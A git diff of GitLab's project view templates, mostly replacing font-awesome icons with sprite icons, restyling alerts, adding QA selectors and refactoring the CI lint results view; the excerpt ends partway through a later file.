diff --git a/app/views/projects/_deletion_failed.html.haml b/app/views/projects/_deletion_failed.html.haml
index 4f3698f91e6..7e65f2f1cef 100644
--- a/app/views/projects/_deletion_failed.html.haml
+++ b/app/views/projects/_deletion_failed.html.haml
@@ -1,6 +1,8 @@
- project = local_assigns.fetch(:project)
- return unless project.delete_error.present?
-.project-deletion-failed-message.alert.alert-warning
- This project was scheduled for deletion, but failed with the following message:
- = project.delete_error
+.project-deletion-failed-message.gl-alert.gl-alert-warning
+ = sprite_icon('warning', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ .gl-alert-body
+ This project was scheduled for deletion, but failed with the following message:
+ = project.delete_error
diff --git a/app/views/projects/_import_project_pane.html.haml b/app/views/projects/_import_project_pane.html.haml
index dd7971f6db0..fe3354aefbb 100644
--- a/app/views/projects/_import_project_pane.html.haml
+++ b/app/views/projects/_import_project_pane.html.haml
@@ -46,7 +46,8 @@
- if fogbugz_import_enabled?
%div
= link_to new_import_fogbugz_path, class: 'btn import_fogbugz', **tracking_attrs(track_label, 'click_button', 'fogbugz') do
- = icon('bug', text: 'FogBugz')
+ = sprite_icon('bug')
+ FogBugz
- if gitea_import_enabled?
%div
diff --git a/app/views/projects/_issuable_by_email.html.haml b/app/views/projects/_issuable_by_email.html.haml
index 0b2d179456d..c11ee765cca 100644
--- a/app/views/projects/_issuable_by_email.html.haml
+++ b/app/views/projects/_issuable_by_email.html.haml
@@ -37,9 +37,9 @@
= render 'by_email_description'
%p
This is a private email address
-
- %a{ href: 'https://docs.gitlab.com/ee/development/emails.html#email-namespace', target: "_blank", rel: "noopener" }
- %i.fa.fa-question-circle{ 'aria-label': "Learn more about incoming email addresses" }
+ %span<
+ = link_to help_page_path('development/emails', anchor: 'email-namespace'), target: '_blank', rel: 'noopener', aria: { label: 'Learn more about incoming email addresses' } do
+ = sprite_icon('question-o')
generated just for you.
diff --git a/app/views/projects/_merge_request_merge_checks_settings.html.haml b/app/views/projects/_merge_request_merge_checks_settings.html.haml
index 9cebb191346..7a5997bbcfd 100644
--- a/app/views/projects/_merge_request_merge_checks_settings.html.haml
+++ b/app/views/projects/_merge_request_merge_checks_settings.html.haml
@@ -9,7 +9,7 @@
= s_('ProjectSettings|Pipelines must succeed')
.text-secondary
= s_('ProjectSettings|Pipelines need to be configured to enable this feature.')
- = link_to icon('question-circle'),
+ = link_to sprite_icon('question-o'),
help_page_path('ci/merge_request_pipelines/index.md',
anchor: 'pipelines-for-merge-requests'),
target: '_blank'
@@ -21,6 +21,6 @@
.text-secondary
= s_('ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline.')
.form-check.mb-2
- = form.check_box :only_allow_merge_if_all_discussions_are_resolved, class: 'form-check-input'
+ = form.check_box :only_allow_merge_if_all_discussions_are_resolved, class: 'form-check-input', data: { qa_selector: 'allow_merge_if_all_discussions_are_resolved_checkbox' }
= form.label :only_allow_merge_if_all_discussions_are_resolved, class: 'form-check-label' do
= s_('ProjectSettings|All discussions must be resolved')
diff --git a/app/views/projects/_merge_request_merge_suggestions_settings.html.haml b/app/views/projects/_merge_request_merge_suggestions_settings.html.haml
index 12f26a7e315..258cf86ab05 100644
--- a/app/views/projects/_merge_request_merge_suggestions_settings.html.haml
+++ b/app/views/projects/_merge_request_merge_suggestions_settings.html.haml
@@ -4,7 +4,7 @@
%b= s_('ProjectSettings|Merge suggestions')
%p.text-secondary
= s_('ProjectSettings|The commit message used to apply merge request suggestions')
- = link_to icon('question-circle'),
+ = link_to sprite_icon('question-o'),
help_page_path('user/discussions/index.md',
anchor: 'configure-the-commit-message-for-applied-suggestions'),
target: '_blank'
diff --git a/app/views/projects/_new_project_fields.html.haml b/app/views/projects/_new_project_fields.html.haml
index e0a426607d4..ee35f734e3e 100644
--- a/app/views/projects/_new_project_fields.html.haml
+++ b/app/views/projects/_new_project_fields.html.haml
@@ -47,7 +47,7 @@
= f.label :visibility_level, class: 'label-bold' do
= s_('ProjectsNew|Visibility Level')
- = link_to icon('question-circle'), help_page_path("public_access/public_access"), aria: { label: 'Documentation for Visibility Level' }, target: '_blank', rel: 'noopener noreferrer'
+ = link_to sprite_icon('question-o'), help_page_path('public_access/public_access'), aria: { label: 'Documentation for Visibility Level' }, target: '_blank', rel: 'noopener noreferrer'
= render 'shared/visibility_level', f: f, visibility_level: visibility_level.to_i, can_change_visibility_level: true, form_model: @project, with_label: false
- if !hide_init_with_readme
diff --git a/app/views/projects/_service_desk_settings.html.haml b/app/views/projects/_service_desk_settings.html.haml
index 7c08955983a..fceef0624d7 100644
--- a/app/views/projects/_service_desk_settings.html.haml
+++ b/app/views/projects/_service_desk_settings.html.haml
@@ -10,7 +10,7 @@
- if ::Gitlab::ServiceDesk.supported?
.js-service-desk-setting-root{ data: { endpoint: project_service_desk_path(@project),
enabled: "#{@project.service_desk_enabled}",
- incoming_email: (@project.service_desk_incoming_address if @project.service_desk_enabled),
+ incoming_email: (@project.service_desk_address if @project.service_desk_enabled),
custom_email: (@project.service_desk_custom_address if @project.service_desk_enabled),
selected_template: "#{@project.service_desk_setting&.issue_template_key}",
outgoing_name: "#{@project.service_desk_setting&.outgoing_name}",
diff --git a/app/views/projects/artifacts/_tree_directory.html.haml b/app/views/projects/artifacts/_tree_directory.html.haml
index 1a9ce8d0508..c68cc19f6c1 100644
--- a/app/views/projects/artifacts/_tree_directory.html.haml
+++ b/app/views/projects/artifacts/_tree_directory.html.haml
@@ -3,6 +3,6 @@
%tr.tree-item{ 'data-link' => path_to_directory }
%td.tree-item-file-name
= tree_icon('folder', '755', directory.name)
- = link_to path_to_directory, class: 'str-truncated' do
+ = link_to path_to_directory, class: 'str-truncated', data: { qa_selector: 'directory_name_link', qa_directory_name: directory.name } do
%span= directory.name
%td
diff --git a/app/views/projects/blob/_content.html.haml b/app/views/projects/blob/_content.html.haml
index 7afbd85cd6d..11946f22811 100644
--- a/app/views/projects/blob/_content.html.haml
+++ b/app/views/projects/blob/_content.html.haml
@@ -1,6 +1,10 @@
- simple_viewer = blob.simple_viewer
- rich_viewer = blob.rich_viewer
- rich_viewer_active = rich_viewer && params[:viewer] != 'simple'
+- blob_data = defined?(@blob) ? @blob.data : {}
+- filename = defined?(@blob) ? @blob.name : ''
+
+#js-blob-toggle-graph-preview{ data: { blob_data: blob_data, filename: filename } }
= render 'projects/blob/viewer', viewer: simple_viewer, hidden: rich_viewer_active
diff --git a/app/views/projects/blob/_editor.html.haml b/app/views/projects/blob/_editor.html.haml
index 787dc3b030f..cea65bf9b4e 100644
--- a/app/views/projects/blob/_editor.html.haml
+++ b/app/views/projects/blob/_editor.html.haml
@@ -23,6 +23,7 @@
.js-suggest-gitlab-ci-yml{ data: { toggle: 'popover',
target: '#gitlab-ci-yml-selector',
track_label: 'suggest_gitlab_ci_yml',
+ merge_request_path: params[:mr_path],
dismiss_key: @project.id,
human_access: human_access } }
diff --git a/app/views/projects/blob/_pipeline_tour_success.html.haml b/app/views/projects/blob/_pipeline_tour_success.html.haml
index cf1427df044..3ea2defb2b3 100644
--- a/app/views/projects/blob/_pipeline_tour_success.html.haml
+++ b/app/views/projects/blob/_pipeline_tour_success.html.haml
@@ -1,3 +1,4 @@
.js-success-pipeline-modal{ data: { 'commit-cookie': suggest_pipeline_commit_cookie_name,
'go-to-pipelines-path': project_pipelines_path(@project),
+ 'project-merge-requests-path': project_merge_requests_path(@project),
'human-access': @project.team.human_max_access(current_user&.id) } }
diff --git a/app/views/projects/blob/_template_selectors.html.haml b/app/views/projects/blob/_template_selectors.html.haml
index 2aefcdc5762..b4962f4e78e 100644
--- a/app/views/projects/blob/_template_selectors.html.haml
+++ b/app/views/projects/blob/_template_selectors.html.haml
@@ -1,4 +1,4 @@
-.template-selectors-menu.gl-pl-2-deprecated-no-really-do-not-use-me
+.template-selectors-menu.gl-pl-3
.template-selector-dropdowns-wrap
.template-type-selector.js-template-type-selector-wrap.hidden
- toggle_text = should_suggest_gitlab_ci_yml? ? '.gitlab-ci.yml' : 'Select a template type'
diff --git a/app/views/projects/blob/edit.html.haml b/app/views/projects/blob/edit.html.haml
index 7d072ba5899..9bb4342ffb4 100644
--- a/app/views/projects/blob/edit.html.haml
+++ b/app/views/projects/blob/edit.html.haml
@@ -2,10 +2,16 @@
- page_title _("Edit"), @blob.path, @ref
- if @conflict
- .alert.alert-danger
- Someone edited the file the same time you did. Please check out
- = link_to "the file", project_blob_path(@project, tree_join(@branch_name, @file_path)), target: "_blank", rel: 'noopener noreferrer'
- and make sure your changes will not unintentionally remove theirs.
+ .gl-alert.gl-alert-danger.gl-mb-5.gl-mt-5
+ = sprite_icon('error', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ .gl-alert-body
+ Someone edited the file the same time you did. Please check out
+ = link_to "the file", project_blob_path(@project, tree_join(@branch_name, @file_path)), target: "_blank", rel: 'noopener noreferrer', class: 'gl-link'
+ and make sure your changes will not unintentionally remove theirs.
+
+- if editing_ci_config? && show_web_ide_alert?
+ #js-suggest-web-ide-ci{ data: { dismiss_endpoint: user_callouts_path, feature_id: UserCalloutsHelper::WEB_IDE_ALERT_DISMISSED, edit_path: ide_edit_path } }
+
.editor-title-row
%h3.page-title.blob-edit-page-title
Edit file
diff --git a/app/views/projects/blob/new.html.haml b/app/views/projects/blob/new.html.haml
index 48ffd80aa9c..a939f43d5e2 100644
--- a/app/views/projects/blob/new.html.haml
+++ b/app/views/projects/blob/new.html.haml
@@ -15,6 +15,7 @@
- if should_suggest_gitlab_ci_yml?
.js-suggest-gitlab-ci-yml-commit-changes{ data: { toggle: 'popover',
target: '#commit-changes',
+ merge_request_path: params[:mr_path],
track_label: 'suggest_commit_first_project_gitlab_ci_yml',
dismiss_key: @project.id,
human_access: human_access } }
diff --git a/app/views/projects/blob/viewers/_gitlab_ci_yml_loading.html.haml b/app/views/projects/blob/viewers/_gitlab_ci_yml_loading.html.haml
index 10cbf6a2f7a..379a6c3084a 100644
--- a/app/views/projects/blob/viewers/_gitlab_ci_yml_loading.html.haml
+++ b/app/views/projects/blob/viewers/_gitlab_ci_yml_loading.html.haml
@@ -1,4 +1,4 @@
-= icon('spinner spin fw')
+= loading_icon(css_class: "gl-vertical-align-text-bottom mr-1")
Validating GitLab CI configuration…
= link_to 'Learn more', help_page_path('ci/yaml/README')
diff --git a/app/views/projects/blob/viewers/_loading.html.haml b/app/views/projects/blob/viewers/_loading.html.haml
index 5fbe9b0df0c..18fd0d87ce6 100644
--- a/app/views/projects/blob/viewers/_loading.html.haml
+++ b/app/views/projects/blob/viewers/_loading.html.haml
@@ -1,2 +1,2 @@
-.text-center.gl-mt-3.gl-mb-3
- = icon('spinner spin 2x', 'aria-hidden' => 'true', 'aria-label' => 'Loading content…', class: 'qa-spinner')
+.text-center.gl-mt-4.gl-mb-3
+ = loading_icon(size: "md", css_class: "qa-spinner")
diff --git a/app/views/projects/blob/viewers/_loading_auxiliary.html.haml b/app/views/projects/blob/viewers/_loading_auxiliary.html.haml
index c7dc9e3250a..5a6c1a493a5 100644
--- a/app/views/projects/blob/viewers/_loading_auxiliary.html.haml
+++ b/app/views/projects/blob/viewers/_loading_auxiliary.html.haml
@@ -1,2 +1,2 @@
-= icon('spinner spin fw')
+= loading_icon(css_class: "gl-vertical-align-text-bottom")
Analyzing file…
diff --git a/app/views/projects/blob/viewers/_metrics_dashboard_yml.html.haml b/app/views/projects/blob/viewers/_metrics_dashboard_yml.html.haml
index 9ec1d7d0d67..de9c6c5320f 100644
--- a/app/views/projects/blob/viewers/_metrics_dashboard_yml.html.haml
+++ b/app/views/projects/blob/viewers/_metrics_dashboard_yml.html.haml
@@ -5,7 +5,7 @@
= icon('warning fw')
= _('Metrics Dashboard YAML definition is invalid:')
%ul
- - viewer.errors.messages.each do |error|
- %li= error.join(': ')
+ - viewer.errors.each do |error|
+ %li= error
= link_to _('Learn more'), help_page_path('operations/metrics/dashboards/index.md')
diff --git a/app/views/projects/blob/viewers/_route_map_loading.html.haml b/app/views/projects/blob/viewers/_route_map_loading.html.haml
index 1d768bd1ca4..8610847fbc9 100644
--- a/app/views/projects/blob/viewers/_route_map_loading.html.haml
+++ b/app/views/projects/blob/viewers/_route_map_loading.html.haml
@@ -1,4 +1,4 @@
-= icon('spinner spin fw')
+= loading_icon(css_class: "gl-vertical-align-text-bottom gl-mr-1")
Validating Route Map…
= link_to 'Learn more', help_page_path('ci/environments/index.md', anchor: 'going-from-source-files-to-public-pages')
diff --git a/app/views/projects/blob/viewers/_sketch.html.haml b/app/views/projects/blob/viewers/_sketch.html.haml
index aa8d1dd326f..08c21258d3f 100644
--- a/app/views/projects/blob/viewers/_sketch.html.haml
+++ b/app/views/projects/blob/viewers/_sketch.html.haml
@@ -1,3 +1,3 @@
.file-content#js-sketch-viewer{ data: { endpoint: blob_raw_path } }
- .js-loading-icon.text-center.gl-mt-3.gl-mb-3.js-loading-icon{ 'aria-label' => 'Loading Sketch preview' }
- = icon('spinner spin 2x', 'aria-hidden' => 'true');
+ .text-center.gl-mt-4.gl-mb-3.js-loading-icon
+ = loading_icon(size: "md")
diff --git a/app/views/projects/blob/viewers/_stl.html.haml b/app/views/projects/blob/viewers/_stl.html.haml
index 6983c3cc81b..44c986595df 100644
--- a/app/views/projects/blob/viewers/_stl.html.haml
+++ b/app/views/projects/blob/viewers/_stl.html.haml
@@ -1,6 +1,6 @@
.file-content.is-stl-loading
.text-center#js-stl-viewer{ data: { endpoint: blob_raw_path } }
- = icon('spinner spin 2x', class: 'gl-mt-3 gl-mb-3', 'aria-hidden' => 'true', 'aria-label' => 'Loading')
+ = loading_icon(size: "md", css_class: "gl-mt-4 gl-mb-3")
.text-center.gl-mt-3.gl-mb-3.stl-controls
.btn-group
%button.btn.btn-default.btn-sm.js-material-changer{ data: { type: 'wireframe' } }
diff --git a/app/views/projects/branches/_branch.html.haml b/app/views/projects/branches/_branch.html.haml
index ed7dbdeae93..020a4361203 100644
--- a/app/views/projects/branches/_branch.html.haml
+++ b/app/views/projects/branches/_branch.html.haml
@@ -50,25 +50,25 @@
- if can?(current_user, :push_code, @project)
- if branch.name == @project.repository.root_ref
- %button{ class: "btn btn-remove remove-row js-ajax-loading-spinner has-tooltip disabled",
+ %button{ class: "btn btn-remove remove-row has-tooltip disabled",
disabled: true,
title: s_('Branches|The default branch cannot be deleted') }
- = icon("trash-o")
+ = sprite_icon("remove")
- elsif protected_branch?(@project, branch)
- if can?(current_user, :push_to_delete_protected_branch, @project)
- %button{ class: "btn btn-remove remove-row js-ajax-loading-spinner has-tooltip",
+ %button{ class: "btn btn-remove remove-row has-tooltip",
title: s_('Branches|Delete protected branch'),
data: { toggle: "modal",
target: "#modal-delete-branch",
delete_path: project_branch_path(@project, branch.name),
branch_name: branch.name,
is_merged: ("true" if merged) } }
- = icon("trash-o")
+ = sprite_icon("remove")
- else
- %button{ class: "btn btn-remove remove-row js-ajax-loading-spinner has-tooltip disabled",
+ %button{ class: "btn btn-remove remove-row has-tooltip disabled",
disabled: true,
title: s_('Branches|Only a project maintainer or owner can delete a protected branch') }
- = icon("trash-o")
+ = sprite_icon("remove")
- else
= link_to project_branch_path(@project, branch.name),
class: "btn btn-remove remove-row qa-remove-btn js-ajax-loading-spinner has-tooltip",
@@ -77,4 +77,4 @@
data: { confirm: s_("Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?") % { branch_name: branch.name } },
remote: true,
'aria-label' => s_('Branches|Delete branch') do
- = icon("trash-o")
+ = sprite_icon("remove")
diff --git a/app/views/projects/branches/new.html.haml b/app/views/projects/branches/new.html.haml
index 97e46aaa710..7a8bc45a272 100644
--- a/app/views/projects/branches/new.html.haml
+++ b/app/views/projects/branches/new.html.haml
@@ -28,5 +28,4 @@
.form-actions
= button_tag 'Create branch', class: 'btn btn-success', tabindex: 3
= link_to 'Cancel', project_branches_path(@project), class: 'btn btn-cancel'
--# haml-lint:disable InlineJavaScript
%script#availableRefs{ type: "application/json" }= @project.repository.ref_names.to_json.html_safe
diff --git a/app/views/projects/buttons/_download.html.haml b/app/views/projects/buttons/_download.html.haml
index 1d0ad6dcde6..c04687bd846 100644
--- a/app/views/projects/buttons/_download.html.haml
+++ b/app/views/projects/buttons/_download.html.haml
@@ -17,7 +17,7 @@
%section.border-top.pt-1.mt-1
%h5.m-0.dropdown-bold-header= _('Download artifacts')
- unless pipeline.latest?
- %span.unclickable= ci_status_for_statuseable(project.pipeline_for(ref))
+ %span.unclickable= ci_status_for_statuseable(project.latest_pipeline(ref))
%h6.m-0.dropdown-header= _('Previous Artifacts')
%ul
- pipeline.latest_builds_with_artifacts.each do |job|
diff --git a/app/views/projects/ci/builds/_build.html.haml b/app/views/projects/ci/builds/_build.html.haml
index 23f9a6a8f6c..c7ab01a4ef7 100644
--- a/app/views/projects/ci/builds/_build.html.haml
+++ b/app/views/projects/ci/builds/_build.html.haml
@@ -102,7 +102,7 @@
- if can?(current_user, :update_build, job)
- if job.active?
= link_to cancel_project_job_path(job.project, job, continue: { to: request.fullpath }), method: :post, title: _('Cancel'), class: 'btn btn-build' do
- = icon('remove', class: 'cred')
+ = sprite_icon('close')
- elsif job.scheduled?
.btn-group
.btn.btn-default{ disabled: true }
diff --git a/app/views/projects/ci/lints/_create.html.haml b/app/views/projects/ci/lints/_create.html.haml
index 5cc89343ba3..4b7cda0ef57 100644
--- a/app/views/projects/ci/lints/_create.html.haml
+++ b/app/views/projects/ci/lints/_create.html.haml
@@ -1,10 +1,10 @@
-- if @status
+- if @result.valid?
.bs-callout.bs-callout-success
%p
%b= _("Status:")
= _("syntax is correct")
- = render "projects/ci/lints/lint_warnings", warnings: @warnings
+ = render "projects/ci/lints/lint_warnings", warnings: @result.warnings
.table-holder
%table.table.table-bordered
@@ -13,54 +13,31 @@
%th= _("Parameter")
%th= _("Value")
%tbody
- - if @dry_run
- - @stages.each do |stage|
- - stage.statuses.each do |job|
- %tr
- %td #{stage.name.capitalize} Job - #{job.name}
- %td
- %pre= job.options[:before_script].to_a.join('\n')
- %pre= job.options[:script].to_a.join('\n')
- %pre= job.options[:after_script].to_a.join('\n')
- %br
- %b= _("Tag list:")
- = job.tag_list.to_a.join(", ") if job.is_a?(Ci::Build)
- %br
- %b= _("Environment:")
- = job.options.dig(:environment, :name)
- %br
- %b= _("When:")
- = job.when
- - if job.allow_failure
- %b= _("Allowed to fail")
-
- - else
- - @stages.each do |stage|
- - @builds.select { |build| build[:stage] == stage }.each do |build|
- - job = @jobs[build[:name].to_sym]
- %tr
- %td #{stage.capitalize} Job - #{build[:name]}
- %td
- %pre= job[:before_script].to_a.join('\n')
- %pre= job[:script].to_a.join('\n')
- %pre= job[:after_script].to_a.join('\n')
- %br
- %b= _("Tag list:")
- = build[:tag_list].to_a.join(", ")
- %br
- %b= _("Only policy:")
- = job[:only].to_a.join(", ")
- %br
- %b= _("Except policy:")
- = job[:except].to_a.join(", ")
- %br
- %b= _("Environment:")
- = build[:environment]
- %br
- %b= _("When:")
- = build[:when]
- - if build[:allow_failure]
- %b= _("Allowed to fail")
+ - @result.jobs.each do |job|
+ %tr
+ %td #{job[:stage].capitalize} Job - #{job[:name]}
+ %td
+ %pre= job[:before_script].to_a.join('\n')
+ %pre= job[:script].to_a.join('\n')
+ %pre= job[:after_script].to_a.join('\n')
+ %br
+ %b= _("Tag list:")
+ = job[:tag_list].to_a.join(", ")
+ - unless @dry_run
+ %br
+ %b= _("Only policy:")
+ = job[:only].to_a.join(", ")
+ %br
+ %b= _("Except policy:")
+ = job[:except].to_a.join(", ")
+ %br
+ %b= _("Environment:")
+ = job[:environment]
+ %br
+ %b= _("When:")
+ = job[:when]
+ - if job[:allow_failure]
+ %b= _("Allowed to fail")
- else
.bs-callout.bs-callout-danger
@@ -68,7 +45,7 @@
%b= _("Status:")
= _("syntax is incorrect")
%pre
- - @errors.each do |message|
+ - @result.errors.each do |message|
%p= message
- = render "projects/ci/lints/lint_warnings", warnings: @warnings
+ = render "projects/ci/lints/lint_warnings", warnings: @result.warnings
diff --git a/app/views/projects/ci/lints/_lint_warnings.html.haml b/app/views/projects/ci/lints/_lint_warnings.html.haml
index 0a5bb8f76ef..90db65e6c27 100644
--- a/app/views/projects/ci/lints/_lint_warnings.html.haml
+++ b/app/views/projects/ci/lints/_lint_warnings.html.haml
@@ -1,6 +1,10 @@
- if warnings
- - warnings.each do |warning|
+ - total_warnings = warnings.length
+ - message = warning_header(total_warnings)
+
+ - if warnings.any?
.bs-callout.bs-callout-warning
- %p
- %b= _("Warning:")
- = markdown(warning)
+ %details
+ %summary.gl-mb-2= message
+ - warnings.each do |warning|
+ = markdown(warning)
diff --git a/app/views/projects/ci/lints/show.html.haml b/app/views/projects/ci/lints/show.html.haml
index 0c51c978bfe..2e79852f4c9 100644
--- a/app/views/projects/ci/lints/show.html.haml
+++ b/app/views/projects/ci/lints/show.html.haml
@@ -1,30 +1,40 @@
- page_title _("CI Lint")
- page_description _("Validate your GitLab CI configuration file")
-- content_for :library_javascripts do
- = page_specific_javascript_tag('lib/ace.js')
+- unless Feature.enabled?(:monaco_ci)
+ - content_for :library_javascripts do
+ = page_specific_javascript_tag('lib/ace.js')
%h2.pt-3.pb-3= _("Validate your GitLab CI configuration")
-.project-ci-linter
- = form_tag project_ci_lint_path(@project), method: :post do
- .row
- .col-sm-12
- .file-holder
- .js-file-title.file-title.clearfix
- = _("Contents of .gitlab-ci.yml")
- #ci-editor.ci-editor= @content
- = text_area_tag(:content, @content, class: 'hidden form-control span1', rows: 7, require: true)
- .col-sm-12
- .float-left.gl-mt-3
- = submit_tag(_('Validate'), class: 'btn btn-success submit-yml')
- - if Gitlab::Ci::Features.lint_creates_pipeline_with_dry_run?(@project)
- = check_box_tag(:dry_run, 'true', params[:dry_run])
- = label_tag(:dry_run, _('Simulate a pipeline created for the default branch'))
- = link_to icon('question-circle'), help_page_path('ci/lint', anchor: 'pipeline-simulation'), target: '_blank', rel: 'noopener noreferrer'
- .float-right.prepend-top-10
- = button_tag(_('Clear'), type: 'button', class: 'btn btn-default clear-yml')
+- if Feature.enabled?(:ci_lint_vue, @project)
+ #js-ci-lint{ data: { endpoint: project_ci_lint_path(@project) } }
- .row.prepend-top-20
- .col-sm-12
- .results.project-ci-template
- = render partial: 'create' if defined?(@status)
+- else
+ .project-ci-linter
+ = form_tag project_ci_lint_path(@project), method: :post, class: 'js-ci-lint-form' do
+ .row
+ .col-sm-12
+ .file-holder
+ .js-file-title.file-title.clearfix
+ = _("Contents of .gitlab-ci.yml")
+ - if Feature.enabled?(:monaco_ci)
+ .file-editor.code
+ .js-edit-mode-pane.qa-editor#editor{ data: { 'editor-loading': true } }<
+ %pre.editor-loading-content= params[:content]
+ - else
+ #ci-editor.ci-editor= @content
+ = text_area_tag(:content, @content, class: 'hidden form-control span1', rows: 7, require: true)
+ .col-sm-12
+ .float-left.gl-mt-3
+ = submit_tag(_('Validate'), class: 'btn btn-success submit-yml')
+ - if Gitlab::Ci::Features.lint_creates_pipeline_with_dry_run?(@project)
+ = check_box_tag(:dry_run, 'true', params[:dry_run])
+ = label_tag(:dry_run, _('Simulate a pipeline created for the default branch'))
+ = link_to sprite_icon('question-o'), help_page_path('ci/lint', anchor: 'pipeline-simulation'), target: '_blank', rel: 'noopener noreferrer'
+ .float-right.prepend-top-10
+ = button_tag(_('Clear'), type: 'button', class: 'btn btn-default clear-yml')
+
+ .row.prepend-top-20
+ .col-sm-12
+ .results.project-ci-template
+ = render partial: 'create' if defined?(@result)
diff --git a/app/views/projects/cleanup/_show.html.haml b/app/views/projects/cleanup/_show.html.haml
index f560127fefd..019894ddbb4 100644
--- a/app/views/projects/cleanup/_show.html.haml
+++ b/app/views/projects/cleanup/_show.html.haml
@@ -7,7 +7,7 @@
= expanded ? _('Collapse') : _('Expand')
%p
= _("Clean up after running %{filter_repo} on the repository" % { filter_repo: link_to_filter_repo }).html_safe
- = link_to icon('question-circle'),
+ = link_to sprite_icon('question-o'),
help_page_path('user/project/repository/reducing_the_repo_size_using_git.md'),
target: '_blank', rel: 'noopener noreferrer'
@@ -28,4 +28,3 @@
.gl-display-flex.gl-justify-content-end
= f.submit _('Start cleanup'), class: 'btn btn-success'
-
diff --git a/app/views/projects/commit/_limit_exceeded_message.html.haml b/app/views/projects/commit/_limit_exceeded_message.html.haml
index ace1be787fb..236418ecd0e 100644
--- a/app/views/projects/commit/_limit_exceeded_message.html.haml
+++ b/app/views/projects/commit/_limit_exceeded_message.html.haml
@@ -3,6 +3,6 @@
- if objects == :branch
= sprite_icon('fork', size: 12)
- else
- = icon('tag')
+ = sprite_icon('tag')
.limit-message
%span= _('%{label_for_message} unavailable') % { label_for_message: label_for_message.capitalize }
diff --git a/app/views/projects/commits/_commit.html.haml b/app/views/projects/commits/_commit.html.haml
index 33fedde0cd1..cd61576a96a 100644
--- a/app/views/projects/commits/_commit.html.haml
+++ b/app/views/projects/commits/_commit.html.haml
@@ -11,6 +11,7 @@
- commit = commit.present(current_user: current_user)
- commit_status = commit.status_for(ref)
- collapsible = local_assigns.fetch(:collapsible, true)
+- link_data_attrs = local_assigns.fetch(:link_data_attrs, {})
- link = commit_path(project, commit, merge_request: merge_request)
@@ -26,7 +27,7 @@
- if view_details && merge_request
= link_to commit.title, project_commit_path(project, commit.id, merge_request_iid: merge_request.iid), class: ["commit-row-message item-title js-onboarding-commit-item", ("font-italic" if commit.message.empty?)]
- else
- = link_to_markdown_field(commit, :title, link, class: "commit-row-message item-title js-onboarding-commit-item #{"font-italic" if commit.message.empty?}")
+ = link_to_markdown_field(commit, :title, link, class: "commit-row-message item-title js-onboarding-commit-item #{"font-italic" if commit.message.empty?}", data: link_data_attrs)
%span.commit-row-message.d-inline.d-sm-none
&middot;
= commit.short_id
diff --git a/app/views/projects/cycle_analytics/_overview.html.haml b/app/views/projects/cycle_analytics/_overview.html.haml
deleted file mode 100644
index 2ca72b141be..00000000000
--- a/app/views/projects/cycle_analytics/_overview.html.haml
+++ /dev/null
@@ -1,15 +0,0 @@
-.cycle-analytics-overview
- .container
- .row
- .col-md-10.offset-md-1
- .row.overview-details
- .col-md-6.overview-text
- %h4 Introducing Value Stream Analytics
- %p
- Value Stream Analytics (VSA) gives an overview of how much time it takes to go from idea to production in your project.
- To set up VSA, you must first define a production environment by setting up your CI and then deploy to production.
- %p
- %a.btn{ href: help_page_path('user/analytics/value_stream_analytics.md'), target: '_blank' } Read more
- .col-md-6.overview-image
- %span.overview-icon
- = custom_icon ('icon_cycle_analytics_overview')
diff --git a/app/views/projects/cycle_analytics/show.html.haml b/app/views/projects/cycle_analytics/show.html.haml
index 090fc602ebb..d7e10efc3b1 100644
--- a/app/views/projects/cycle_analytics/show.html.haml
+++ b/app/views/projects/cycle_analytics/show.html.haml
@@ -40,19 +40,23 @@
%li.stage-header.pl-5
%span.stage-name.font-weight-bold
{{ s__('ProjectLifecycle|Stage') }}
- %i.has-tooltip.fa.fa-question-circle{ "data-placement" => "top", title: _("The phase of the development lifecycle."), "aria-hidden" => "true" }
+ %span.has-tooltip{ "data-placement" => "top", title: _("The phase of the development lifecycle."), "aria-hidden" => "true" }
+ = sprite_icon('question-o', css_class: 'gl-text-gray-500')
%li.median-header
%span.stage-name.font-weight-bold
{{ __('Median') }}
- %i.has-tooltip.fa.fa-question-circle{ "data-placement" => "top", title: _("The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."), "aria-hidden" => "true" }
+ %span.has-tooltip{ "data-placement" => "top", title: _("The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."), "aria-hidden" => "true" }
+ = sprite_icon('question-o', css_class: 'gl-text-gray-500')
%li.event-header.pl-3
%span.stage-name.font-weight-bold
{{ currentStage ? __(currentStage.legend) : __('Related Issues') }}
- %i.has-tooltip.fa.fa-question-circle{ "data-placement" => "top", title: _("The collection of events added to the data gathered for that stage."), "aria-hidden" => "true" }
+ %span.has-tooltip{ "data-placement" => "top", title: _("The collection of events added to the data gathered for that stage."), "aria-hidden" => "true" }
+ = sprite_icon('question-o', css_class: 'gl-text-gray-500')
%li.total-time-header.pr-5.text-right
%span.stage-name.font-weight-bold
{{ __('Time') }}
- %i.has-tooltip.fa.fa-question-circle{ "data-placement" => "top", title: _("The time taken by each data entry gathered by that stage."), "aria-hidden" => "true" }
+ %span.has-tooltip{ "data-placement" => "top", title: _("The time taken by each data entry gathered by that stage."), "aria-hidden" => "true" }
+ = sprite_icon('question-o', css_class: 'gl-text-gray-500')
.stage-panel-body
%nav.stage-nav
%ul
diff --git a/app/views/projects/default_branch/_show.html.haml b/app/views/projects/default_branch/_show.html.haml
index b78535bbe2f..46ee60949db 100644
--- a/app/views/projects/default_branch/_show.html.haml
+++ b/app/views/projects/default_branch/_show.html.haml
@@ -26,7 +26,7 @@
%strong= _("Auto-close referenced issues on default branch")
.form-text.text-muted
= _("Issues referenced by merge requests and commits within the default branch will be closed automatically")
- = link_to icon('question-circle'), help_page_path('user/project/issues/managing_issues.md', anchor: 'disabling-automatic-issue-closing'), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('user/project/issues/managing_issues.md', anchor: 'disabling-automatic-issue-closing'), target: '_blank'
.gl-display-flex.gl-justify-content-end
= f.submit _('Save changes'), class: "btn btn-success"
diff --git a/app/views/projects/diffs/_file.html.haml b/app/views/projects/diffs/_file.html.haml
index bd023e0442c..187ebcb739c 100644
--- a/app/views/projects/diffs/_file.html.haml
+++ b/app/views/projects/diffs/_file.html.haml
@@ -9,6 +9,10 @@
.file-header-content
= render "projects/diffs/file_header", diff_file: diff_file, url: "##{file_hash}"
